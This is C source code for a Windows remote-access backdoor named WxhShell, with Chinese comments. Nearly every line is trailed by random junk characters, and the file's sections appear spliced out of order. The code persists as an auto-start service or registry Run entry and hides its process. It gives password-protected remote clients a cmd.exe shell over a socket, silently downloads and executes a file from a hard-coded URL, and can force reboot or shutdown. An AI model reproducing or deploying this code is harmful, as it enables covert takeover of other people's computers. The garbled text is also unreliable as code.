    if(Boot(SHUTDOWN)) e4` L8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Oi L&p;r  
    else { e%[*NX/  
    closesocket(wsh); At\(/Z y  
    ExitThread(0); 1<G+KC[F  
    } x.-d)]a!  
    break; l\W|a'i  
    } RKP, w %  
  // 获取shell jae9!W i  
  case 's': { /-p!|T}w  
    CmdShell(wsh); K#+?oFo:  
    closesocket(wsh); 14 & KE3`  
    ExitThread(0); mi] WZlg$  
    break; ?zBu` 7j  
  } c9nR&m8(+  
  // 退出 'O(=Pz  
  case 'x': { Gt.'_hf Js  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ! $$>D"  
    CloseIt(wsh); sm-[=d%@L  
    break; 83c2y;|8  
    } o=YOn&@%  
  // 离开 M?lh1Yu"  
  case 'q': { }R}+8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L"&T3i  
    closesocket(wsh); Z8 v8@Y  
    WSACleanup(); _P.I+!w:x  
    exit(1); %C_tBNE <  
    break; LH4A!a]  
        } :$"{-n  
  } BI:Cm/ >  
  } ~Y x_ 3  
_4N.]jr5  
  // 提示信息 mU-2s%X<.^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FPYk`D  
} tkctwjD  
  } /Q3>w-h  
~W21%T+  
  return; |4mvB2r  
} =#u4^%i)  
-i8KJzPL f  
// shell模块句柄 `0NU c)`  
int CmdShell(SOCKET sock) 9InP2u\&:  
{ >T[/V3Z~K  
STARTUPINFO si; KdCrI@^  
ZeroMemory(&si,sizeof(si)); 1w=.vj<d8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NVb}uH*i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y2DL%'K^  
PROCESS_INFORMATION ProcessInfo;  tA#$q;S  
char cmdline[]="cmd"; *|=D 0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SxY z)aF~  
  return 0; i]c{(gd`  
} W p)!G  
'o IE:#b  
// 自身启动模式 4 "2%mx:  
int StartFromService(void) bX$z)]KKu  
{ WRD z*Zf  
typedef struct 9F807G\4Qt  
{ W+i^tmj  
  DWORD ExitStatus; ;3/}"yG<p  
  DWORD PebBaseAddress; 0ZjT.Ep  
  DWORD AffinityMask; q8$t4_pF  
  DWORD BasePriority;  NAD^10  
  ULONG UniqueProcessId; ~5HT _B U=  
  ULONG InheritedFromUniqueProcessId; %<>:$4U@]  
}   PROCESS_BASIC_INFORMATION; |1%% c %  
t+KW=eW  
PROCNTQSIP NtQueryInformationProcess; %!\=$s}g  
5b:1+5iF-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %AO6 =  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9&* 7+!  
L"'=[O~  
  HANDLE             hProcess; -4x! #|]  
  PROCESS_BASIC_INFORMATION pbi; &`qYe)1Eo  
<~dfp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QG*hQh  
  if(NULL == hInst ) return 0; aA4RC0'  
iAH,f5T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [k$GUU,jY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lW c[Q1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nDvfb* \  
|X=p`iz1&  
  if (!NtQueryInformationProcess) return 0; rpiuFst  
QKP #wR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =wX;OK|U(^  
  if(!hProcess) return 0; 9CS" s_  
*B3f ry  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?c?@j}=?yY  
qR.FjQOvn  
  CloseHandle(hProcess); ^P9mJ:  
k\O<pG[U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kk}, PU=  
if(hProcess==NULL) return 0; ahXcQ9jzFi  
KRxJ2  
HMODULE hMod; G|jHic!  
char procName[255]; ={xRNNUj_  
unsigned long cbNeeded; "#E Z  
#+o$Tg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zCJ"O9G<V  
&Z~_BT  
  CloseHandle(hProcess); 9C \}bT  
]lA}5  
if(strstr(procName,"services")) return 1; // 以服务启动 2@MpWj4  
rS>.!DiYr,  
  return 0; // 注册表启动 "1gIR^S%9  
} p^Ey6,!8]D  
m u9,vH  
// 主模块 fL| 9/sojz  
int StartWxhshell(LPSTR lpCmdLine) yr+QV:oVA  
{ zmQQ/ 7K  
  SOCKET wsl; 8(n>99 VVK  
BOOL val=TRUE; 'ij+MU 1  
  int port=0; }$<v  
  struct sockaddr_in door; Z><+4 '  
C5(XZscq  
  if(wscfg.ws_autoins) Install(); # fF5O2E'3  
?xwi2<zz  
port=atoi(lpCmdLine); ~EmK;[Z  
|\Gkhi>;  
if(port<=0) port=wscfg.ws_port; N $>Ml!J  
j?C[ids<  
  WSADATA data; RK@K>)"f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o%Q9]=%!  
R7IFlQH%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C)m@/w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r4u ,I<ZbH  
  door.sin_family = AF_INET; ]A[}:E 5}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M+")*Opq  
  door.sin_port = htons(port); Wg%]  
r } Wdj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cl`kd)"v  
closesocket(wsl); /mJb$5=1  
return 1; r2f%E:-0G  
} JVg}XwR  
8cfsl lI  
  if(listen(wsl,2) == INVALID_SOCKET) { n=b!c@f4  
closesocket(wsl); $~q{MX&J  
return 1; 6DHZ,gWq  
} 1g=T"O&=  
  Wxhshell(wsl); 5q4wREh  
  WSACleanup(); +9LzDH  
j(I(0Yyh  
return 0; G-D}J2r=F  
Ox ,Rk  
} EQoK\.; G~  
A]iT uu5p  
// 以NT服务方式启动 9/8+R%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V9ZM4.,OCN  
{ i= ^6nwD&  
DWORD   status = 0; _ l)3pm6  
  DWORD   specificError = 0xfffffff; &iD&C>;pf  
6a9:P@tY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }cUO+)!Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qCVb-f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w:I!{iX  
  serviceStatus.dwWin32ExitCode     = 0; _$A?  
  serviceStatus.dwServiceSpecificExitCode = 0; <b~~X`Z  
  serviceStatus.dwCheckPoint       = 0; VSO(DCr"L  
  serviceStatus.dwWaitHint       = 0; ,V!Wo4M  
F+5 5p8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); , MqoX-+  
  if (hServiceStatusHandle==0) return; rLeQB p'  
43=)akJi  
status = GetLastError(); nIOSP :'>  
  if (status!=NO_ERROR) ~W"@[*6w  
{ `<@ "WSn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L5:1dF  
    serviceStatus.dwCheckPoint       = 0; nCV7(ldmH  
    serviceStatus.dwWaitHint       = 0; B{` K?e0  
    serviceStatus.dwWin32ExitCode     = status; ?!"pzDg  
    serviceStatus.dwServiceSpecificExitCode = specificError; q+qF;7dN@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [fwk[qFa  
    return; K d#(eGe  
  } ~"bBwPI  
?Z!R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |pknaz  
  serviceStatus.dwCheckPoint       = 0; HXh:8 3  
  serviceStatus.dwWaitHint       = 0; M!hD`5.3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /V/ )A\g  
} eF0FQlMe[  
U |eh  
// 处理NT服务事件,比如:启动、停止 AH#a+<;a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6e|uA7i4  
{ D1ik*mDA=  
switch(fdwControl) e~he#o[%a  
{ >C{8}Lg-.  
case SERVICE_CONTROL_STOP: 6*1f -IbV  
  serviceStatus.dwWin32ExitCode = 0; CE (zt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $<VH~Q<  
  serviceStatus.dwCheckPoint   = 0; f\hQ>MLzt  
  serviceStatus.dwWaitHint     = 0; #xR=U"  
  { > B;YYj~f}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lwG)&qyVd  
  } rw 2i_,.*~  
  return; d=\TC'd"{  
case SERVICE_CONTROL_PAUSE: :rk6Stn$z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ii3F|Vb G  
  break; 1#|lt\T  
case SERVICE_CONTROL_CONTINUE: O|Y`:xvc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J}-e9vK-#  
  break; 4F -<j!  
case SERVICE_CONTROL_INTERROGATE: $Ups9pQ  
  break; i6FJG\d  
}; CG35\b;Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Y^K   
} U0W2  
S6JWsi4C:,  
// 标准应用程序主函数 ]:n9MFv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q"!GdKM  
{ lkp$rJ#6  
`.~*pT*u  
// 获取操作系统版本 zDm3 $P=  
OsIsNt=GetOsVer(); 9 %Vy,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %<|<%~l&  
n%}#e!  
  // 从命令行安装 {QN 5QGvK  
  if(strpbrk(lpCmdLine,"iI")) Install(); H:Q4!<  
benqm ~{\  
  // 下载执行文件 i}f"'KW  
if(wscfg.ws_downexe) { O#{`Fj`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GAs.?JHd  
  WinExec(wscfg.ws_filenam,SW_HIDE); svt3gkR0  
} 7uu\R=$  
Oku7&L1  
if(!OsIsNt) { g%)cyri  
// 如果时win9x,隐藏进程并且设置为注册表启动 /nh3/[u  
HideProc(); EKuLt*a/  
StartWxhshell(lpCmdLine); sw:a(o&$  
} m.gv?  
else ;Ob^@OM  
  if(StartFromService()) roi,?B_8  
  // 以服务方式启动 7 > _vH]  
  StartServiceCtrlDispatcher(DispatchTable); BEAY}P(y3  
else dtG>iJ  
  // 普通方式启动 q&:%/?)x  
  StartWxhshell(lpCmdLine); McbbEs=)  
[1Qg *   
return 0; 150x$~{/  
} D)[(  
pOB<Bx5t  
K|D1  
^@Qc!(P  
=========================================== W%MS,zkAE  
+T,0,^ *  
LOwd mj  
3<1x>e2nT  
qjg Z  
soLmr's  
" V HLNJnA  
Hh&qjf  
#include <stdio.h> Osy_C<O  
#include <string.h> JPZH%#E(  
#include <windows.h> # x X  
#include <winsock2.h> @'Pay)P  
#include <winsvc.h> `0+-:sXZ6  
#include <urlmon.h> )g^O'e=m  
<a+ @4d;  
#pragma comment (lib, "Ws2_32.lib") B <G,{k  
#pragma comment (lib, "urlmon.lib") w)R5@ @C*  
s._,IW;   
#define MAX_USER   100 // 最大客户端连接数 g">^#^hBE  
#define BUF_SOCK   200 // sock buffer {=,I>w]T|W  
#define KEY_BUFF   255 // 输入 buffer S`TQWWQo;  
<1QXZfQ"  
#define REBOOT     0   // 重启 ]{t!J^Xn  
#define SHUTDOWN   1   // 关机 HRCnjem/v\  
* ]D{[hV  
#define DEF_PORT   5000 // 监听端口 YB:}L b  
I%<pS ,p  
#define REG_LEN     16   // 注册表键长度  niyxZ<Z  
#define SVC_LEN     80   // NT服务名长度 0<f.r~  
[;~"ctf{  
// 从dll定义API  BJg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8WKY 4nkj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^HE@ [b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )4 ,U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -I;\9r+  
f)r6F JLU  
// wxhshell配置信息 50T^V`6  
struct WSCFG { _S-@|9\&#  
  int ws_port;         // 监听端口 ao|n<*}  
  char ws_passstr[REG_LEN]; // 口令 V&Rwj_Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no `z7,HJ.0c  
  char ws_regname[REG_LEN]; // 注册表键名 _lm^v%J$  
  char ws_svcname[REG_LEN]; // 服务名 ~Jj~W+h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tgbq4xR(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -]n%+,3L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y(^\]-fE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .t&G^i'n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cVr+Wp7K#|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G9GLRdP  
ekmWYQ ~  
}; )ac!@slb^7  
+NiCt S  
// default Wxhshell configuration !*?9n ^PaF  
struct WSCFG wscfg={DEF_PORT, @tJic|)x  
    "xuhuanlingzhe", O,NVhU7,  
    1, >Ml5QO$*.q  
    "Wxhshell", *{\))Zmhd  
    "Wxhshell", (<e<Q~(  
            "WxhShell Service", #nAq~@X  
    "Wrsky Windows CmdShell Service", ;&O *KhLH  
    "Please Input Your Password: ", +B&+FGfNU  
  1, 1Lp; LY"_  
  "http://www.wrsky.com/wxhshell.exe", ?a1pO#{Dg  
  "Wxhshell.exe" 6)20%*[  
    }; +m/n~-6q  
M9Nr/jE  
// 消息定义模块 :l?mNm5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bx5kqHp^1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q[/pE7FL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !DF5NA E  
char *msg_ws_ext="\n\rExit."; 'P[#.9E  
char *msg_ws_end="\n\rQuit."; ~-R2mAUK  
char *msg_ws_boot="\n\rReboot..."; K{B|  
char *msg_ws_poff="\n\rShutdown..."; e,W,NnCICj  
char *msg_ws_down="\n\rSave to "; "7j E&I  
4G XS(  
char *msg_ws_err="\n\rErr!"; <z>oY2%  
char *msg_ws_ok="\n\rOK!"; h@y>QhYU0  
hr hj4  
char ExeFile[MAX_PATH]; 8Kk41=  
int nUser = 0; %}XyzGq{  
HANDLE handles[MAX_USER]; M* {5> !\  
int OsIsNt; t% <y^Wa=  
>[~7fxjK-  
SERVICE_STATUS       serviceStatus; t`>Z#=cl\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y O*   
-~X[j2  
// 函数声明 ?ks.M'@  
int Install(void); }6=)w@v  
int Uninstall(void); A5%$<  
int DownloadFile(char *sURL, SOCKET wsh); ,H^!G\  
int Boot(int flag); |{_>H '  
void HideProc(void); ED>a'y$f  
int GetOsVer(void); y*v|q=  
int Wxhshell(SOCKET wsl); >7S@3,C3ke  
void TalkWithClient(void *cs); ]]3rSXs2}J  
int CmdShell(SOCKET sock); j]vEo~Bbh  
int StartFromService(void); Nd{U|k3pL  
int StartWxhshell(LPSTR lpCmdLine); a;M{ -G  
Fop +xR,Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,LxkdV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g x?r8  
&|db}\jT  
// 数据结构和表定义 vAqj4:j  
SERVICE_TABLE_ENTRY DispatchTable[] = bMNr +N  
{ }&= =;7,O  
{wscfg.ws_svcname, NTServiceMain}, \j3dB tc  
{NULL, NULL} l=(( >^i  
}; ek0!~v<I  
X8N9*v y  
// 自我安装 3wcF R0f  
int Install(void) xgpf2y!{  
{ 3JkdPh  
  char svExeFile[MAX_PATH]; a/1;|1a.  
  HKEY key; 5Dz$_2oM3  
  strcpy(svExeFile,ExeFile); 9cU9'r# h  
x{tlC}t  
// 如果是win9x系统,修改注册表设为自启动 dM P'Vnfj  
if(!OsIsNt) { GG +T-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CH;U_b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^w2 HF  
  RegCloseKey(key); n;Q8Gg2U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cCNRv$IO\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !\9^|Ef?  
  RegCloseKey(key); P=\{  
  return 0; P".IW.^kk~  
    } 4v3gpLH  
  } ;ko6igx)+  
} )5gj0#|CG@  
else { 7')W+`o8eL  
,]W|"NUI  
// 如果是NT以上系统,安装为系统服务 G -+!h4p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); slUi)@b  
if (schSCManager!=0) -B&(& R  
{ gZ7R^] k  
  SC_HANDLE schService = CreateService UxzF5V5  
  ( 2Q5@2jT  
  schSCManager, w>=N~0@t  
  wscfg.ws_svcname, c;fLM`{*  
  wscfg.ws_svcdisp, 7v)p\#-  
  SERVICE_ALL_ACCESS, kc't  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  X0$q !  
  SERVICE_AUTO_START, v+W'0ymbnV  
  SERVICE_ERROR_NORMAL, N'R^gL  
  svExeFile, +*?l">?|F  
  NULL, :zPK  
  NULL, n-yUt72  
  NULL, tp>YsQy]8  
  NULL, 19#>\9*  
  NULL >eQ.y- 4  
  ); N&?V=X  
  if (schService!=0) 1gbFl/i6T  
  { &b}g.)RI  
  CloseServiceHandle(schService); !2l2;?jM  
  CloseServiceHandle(schSCManager); T,1qR: 58  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +>K&zS  
  strcat(svExeFile,wscfg.ws_svcname); i/1$uQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >7%T%2N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b/]4#?g  
  RegCloseKey(key); jy?*`q1]  
  return 0; 'wG1un;t  
    } wlaPE8Gc  
  } "wTCO1  
  CloseServiceHandle(schSCManager); /#H P;>!n  
} =\5WYC  
} J ~3m7  
t^FE]$,  
return 1; fx[&"$X  
} FpA t  
Ui`{U  
// 自我卸载 j&'6|s{  
int Uninstall(void) Zd>sdS`#r  
{ XGH:'^o_  
  HKEY key; AJxN9[Z!N  
}9fch9>Zr  
if(!OsIsNt) { jYRSV7d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nW7: ]  
  RegDeleteValue(key,wscfg.ws_regname); bS r"k  
  RegCloseKey(key); j9h fW'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =2Yt[8';  
  RegDeleteValue(key,wscfg.ws_regname); YZ4`b-  
  RegCloseKey(key); 1ruI++P  
  return 0; "g&f:[a/  
  } H~:oW~Ah  
} -ZZJk-::  
} Babzrt-  
else { n+ebi>}P  
^Z?m)qxvB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C|TQf8  
if (schSCManager!=0) >Wt@O\k  
{ e8^/S^ =&d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m1Ya  
  if (schService!=0) `?(J(H  
  { &l1t5 !  
  if(DeleteService(schService)!=0) { A%Ka)UU+n  
  CloseServiceHandle(schService); Pg(Y}Tu  
  CloseServiceHandle(schSCManager); oMj"l#a*  
  return 0; $) "\N  
  } RBn/7  
  CloseServiceHandle(schService); e,_Sj(R8  
  } XNJZ~Mowb  
  CloseServiceHandle(schSCManager); yVmp,""a  
} aO&{.DO2  
} A_wf_.l4h  
Yz_}*  
return 1; x-CjxU3  
} B#%QY\<X  
yj4"eDg]  
// 从指定url下载文件 N{HAWB{  
int DownloadFile(char *sURL, SOCKET wsh) i~]6 0M>  
{ >*ls} q^  
  HRESULT hr; )LFbz#;Y  
char seps[]= "/"; I!*P' {lh  
char *token; B]G2P`sN  
char *file; Za|iU`e\  
char myURL[MAX_PATH]; #&Tm%CvB  
char myFILE[MAX_PATH]; |nx3x  
xz!0BG  
strcpy(myURL,sURL); w)+1^eW  
  token=strtok(myURL,seps); xB Wl|j  
  while(token!=NULL) Cy$~H  
  { [#uhMn^  
    file=token; )H W   
  token=strtok(NULL,seps); }={@_g#  
  } 8fP2qj0  
^7aqe*|vm  
GetCurrentDirectory(MAX_PATH,myFILE); Rh^@1{yr  
strcat(myFILE, "\\"); n!/0yR2S  
strcat(myFILE, file); Ba m.B6-  
  send(wsh,myFILE,strlen(myFILE),0); pJ/]\>#5  
send(wsh,"...",3,0); qr%N /7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {L7Pha  
  if(hr==S_OK) > UZ-['H  
return 0; k}fC58q  
else >=;-:  
return 1; g:Qq%'  
) ~=pt&+  
} auK9wQ%\  
\{ EVRRXn  
// 系统电源模块 gPk,nB  
int Boot(int flag) mc?IM(t  
{ -#f.}H'  
  HANDLE hToken; TF :'6#p  
  TOKEN_PRIVILEGES tkp; hb3:,c(  
g@>llve{  
  if(OsIsNt) { G|Et'k.F4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V*\hGNV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V0,JTWc  
    tkp.PrivilegeCount = 1; g ,JfT^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .4%z$(+6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3(V0,L'1  
if(flag==REBOOT) { qo3+=*"V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -fA=&$V  
  return 0; >B0AJW/u  
} P".}Y[GD  
else { vK)'3%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zo&i0%S\E  
  return 0; i-v: %  
} R %RbC!P  
  } >JE+j=  
  else { n/1t UF  
if(flag==REBOOT) { ik(YJw'i7E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N E9,kWI  
  return 0; qK.(w Fx  
} 68u?}8}  
else { ux TgK'3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <7 U~0@<Y  
  return 0; b&[".ibN1  
} &!/>B .  
} )^o.H~Pv  
?m*e$!M0  
return 1; YgcW1}  
} eWAD;x?.  
 `qs,V  
// win9x进程隐藏模块 I+kAy;2  
void HideProc(void) S~aWun  
{ K-k!':K:  
<Tgy$Hm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V>QyiB  
  if ( hKernel != NULL ) 9{;L7`<  
  { #8et91qw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `r1}:`.m,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }X{rE|@  
    FreeLibrary(hKernel); %J-0%-/_S:  
  } 3F|p8zPS  
sF!#*Y  
return; pL{oVk#,  
} Vhv'Z\  
vGv<WEE  
// 获取操作系统版本 ]4H)GWHKg  
int GetOsVer(void) _|M8xI  
{ \o[][R#D  
  OSVERSIONINFO winfo; IzTJ7E*i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nDraX_sm=  
  GetVersionEx(&winfo); jyIIE7.I"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `(HD'fud3  
  return 1; 9Q,>I6`l  
  else } KyoMs  
  return 0; !rRBy3&  
} z9S (<  
k)I4m.0a5  
// 客户端句柄模块 N0S^{j,i  
int Wxhshell(SOCKET wsl) ;VKWY  
{ *?t$Q|2Xr  
  SOCKET wsh; b+qd' ,.Z  
  struct sockaddr_in client; f1aZnl  
  DWORD myID; _\\Al v.  
]\^O(BzB  
  while(nUser<MAX_USER) {BJ>x:2  
{ ]Y I9  
  int nSize=sizeof(client); eX#.Zt]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0V3dc+t)O  
  if(wsh==INVALID_SOCKET) return 1; WCsf_1  
GrG'G(NQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gV.?Myy  
if(handles[nUser]==0) ^o5;><S]  
  closesocket(wsh); rB".!b  
else 1+*sEIC"  
  nUser++; 5/nL[4Z  
  } 2ul8]=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HU>>\t?d  
m)L50ot:/  
  return 0; ."ZG0Zg  
} k'O.1  
kV1L.Xg  
// 关闭 socket 5vLXMdN  
void CloseIt(SOCKET wsh) ;'{7wr|9  
{ Zm0VaOT$I  
closesocket(wsh); 23r(4  
nUser--; qj _0 td$  
ExitThread(0); qj~=qV0p  
} a9e0lW:=c  
m,\+RUW'  
// 客户端请求句柄 y]yl7g =~  
void TalkWithClient(void *cs) t)W=0iEd9  
{ /o4e n  
SWzqCF  
  SOCKET wsh=(SOCKET)cs; Chnt)N`/B4  
  char pwd[SVC_LEN]; ~NIhS!  
  char cmd[KEY_BUFF]; CqEbQ>?  
char chr[1]; dGk"`/@  
int i,j; GPLop/6   
|j0_^:2r=  
  while (nUser < MAX_USER) { Q*<KX2O  
X:s~w#>R  
if(wscfg.ws_passstr) { A2gFY}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j?u1\<m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _3%$E.Q  
  //ZeroMemory(pwd,KEY_BUFF); ;7s^slVzF  
      i=0; _{'[Uf/l  
  while(i<SVC_LEN) { +m./RlQ{  
;wMu  
  // 设置超时 ZS+m}.,whQ  
  fd_set FdRead; 8i[TeW"  
  struct timeval TimeOut; Kuh3.1#o  
  FD_ZERO(&FdRead); H (;@7dh  
  FD_SET(wsh,&FdRead); %WU=Vy4  
  TimeOut.tv_sec=8; zlEI_th:~  
  TimeOut.tv_usec=0; -sA&1n"W&5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O=bkq}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2gO@   
GkU_01C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !$l<'K$  
  pwd=chr[0]; Brxnl,%\  
  if(chr[0]==0xd || chr[0]==0xa) { 5!A:xV]6]  
  pwd=0; k9*UBx  
  break; Fb1<Ic#  
  } VX&g[5zr  
  i++; 6Tmz!E0  
    } s@:Yu  
BGi'UL,  
  // 如果是非法用户,关闭 socket p7> 9 m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); % WDTnEm  
} 2o(O`;z  
Nsh/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *e [*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (km $qX  
XdA]);,  
while(1) { I<RARB-j  
]CNPy$>*  
  ZeroMemory(cmd,KEY_BUFF); bxYSZCo*  
mQ1  
      // 自动支持客户端 telnet标准   TXM/+sd  
  j=0; ]a/dvj}  
  while(j<KEY_BUFF) { 5xr>B7MRM?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hkl0N%[  
  cmd[j]=chr[0]; &Y1h=,KR9  
  if(chr[0]==0xa || chr[0]==0xd) { f 4pIF"U9>  
  cmd[j]=0; ?J2A.x5` a  
  break; \LJ!X3TZ  
  } @#hQ0F8  
  j++; >QYx9`x&  
    } Vfzy BjQ  
KJJ:fG8'  
  // 下载文件 {wM<i  
  if(strstr(cmd,"http://")) { `\(co;:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4~1b  
  if(DownloadFile(cmd,wsh)) KKk~vwW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9~=zD9,|iA  
  else %0y-f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lbo3fwW  
  } 1d+Kn Jy  
  else { <EqS ,cO^  
'eBD/w5U  
    switch(cmd[0]) { ~roNe|P  
  )0 E_Y@  
  // 帮助 '%/=\Q`  
  case '?': { y(<{e~  
